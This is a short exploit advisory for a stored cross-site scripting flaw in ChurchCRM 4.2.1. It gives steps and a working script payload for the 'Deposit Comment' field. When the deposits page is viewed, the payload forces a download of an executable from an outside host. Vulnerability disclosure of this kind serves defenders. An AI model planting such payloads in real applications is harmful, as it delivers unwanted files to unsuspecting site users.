#Exploit Title: ChurchCRM 4.2.1- Persistent Cross Site Scripting(XSS) #Date: 2020- 10- 29 #Exploit Author: Mufaddal Masalawala #Vendor Homepage: https://churchcrm.io/ #Software Link: https://github.com/ChurchCRM/CRM #Version: 4.2.1 #Tested on: Kali Linux 2020.3 #Proof Of Concept: ChurchCRM application allows stored XSS , via 'Add new Deposit' module, that is rendered upon 'View All Deposits' page visit. There are multiple locations where this can be replicated To exploit this vulnerability: 1. Login to the application, go to 'View all Deposits' module. 2. Add the payload ( <script>var link = document.createElement('a'); link.href = 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe'; link.download = ''; document.body.appendChild(link); link.click(); </script> ) in the 'Deposit Comment' field and click "Add New Deposit". 3. Payload is executed and a .exe file is downloaded.